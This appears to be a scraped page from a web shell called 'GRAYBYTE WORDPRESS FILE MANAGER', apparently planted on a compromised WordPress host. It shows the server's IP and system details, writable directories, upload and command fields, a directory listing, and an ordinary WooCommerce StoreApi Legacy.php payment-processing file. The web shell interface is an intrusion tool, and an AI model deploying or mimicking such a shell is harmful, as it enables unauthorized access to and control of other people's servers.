GRAYBYTE WORDPRESS FILE MANAGER2706

Server IP : 162.213.255.40 / Your IP : 216.73.216.141
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/updraft/plugins-old/woocommerce/src/StoreApi/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/updraft/plugins-old/woocommerce/src/StoreApi//Legacy.php
<?php
namespace Automattic\WooCommerce\StoreApi;

use Automattic\WooCommerce\StoreApi\Payments\PaymentContext;
use Automattic\WooCommerce\StoreApi\Payments\PaymentResult;
use Automattic\WooCommerce\StoreApi\Utilities\NoticeHandler;
use Automattic\WooCommerce\Blocks\Package;

/**
 * Legacy class.
 */
class Legacy {
	/**
	 * Hook into WP lifecycle events.
	 */
	public function init() {
		add_action( 'woocommerce_rest_checkout_process_payment_with_context', array( $this, 'process_legacy_payment' ), 999, 2 );
	}

	/**
	 * Attempt to process a payment for the checkout API if no payment methods support the
	 * woocommerce_rest_checkout_process_payment_with_context action.
	 *
	 * @param PaymentContext $context Holds context for the payment.
	 * @param PaymentResult  $result  Result of the payment.
	 */
	public function process_legacy_payment( PaymentContext $context, PaymentResult &$result ) {
		if ( $result->status ) {
			return;
		}

		// phpcs:ignore WordPress.Security.NonceVerification
		$post_data = $_POST;

		// Set constants.
		wc_maybe_define_constant( 'WOOCOMMERCE_CHECKOUT', true );

		// Add the payment data from the API to the POST global.
		$_POST = $context->payment_data;

		// Call the process payment method of the chosen gateway.
		$payment_method_object = $context->get_payment_method_instance();

		if ( ! $payment_method_object instanceof \WC_Payment_Gateway ) {
			return;
		}

		$payment_method_object->validate_fields();

		// If errors were thrown, we need to abort.
		NoticeHandler::convert_notices_to_exceptions( 'woocommerce_rest_payment_error' );

		// Process Payment.
		$gateway_result = $payment_method_object->process_payment( $context->order->get_id() );

		// Restore $_POST data.
		$_POST = $post_data;

		// If `process_payment` added notices, clear them. Notices are not displayed from the API -- payment should fail,
		// and a generic notice will be shown instead if payment failed.
		wc_clear_notices();

		// Handle result.
		$result->set_status( isset( $gateway_result['result'] ) && 'success' === $gateway_result['result'] ? 'success' : 'failure' );

		// set payment_details from result.
		$result->set_payment_details( array_merge( $result->payment_details, $gateway_result ) );
		$result->set_redirect_url( $gateway_result['redirect'] );
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Exceptions
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Formatters
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Payments
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Routes
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Schemas
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
Utilities
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
Authentication.php
10.079 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
Formatters.php
1.21 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
Legacy.php
2.247 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
RoutesController.php
6.468 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
SchemaController.php
3.684 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
SessionHandler.php
2.655 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
StoreApi.php
3.052 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
deprecated.php
7.968 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644
functions.php
2.701 KB
June 25 2024 18:19:14
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF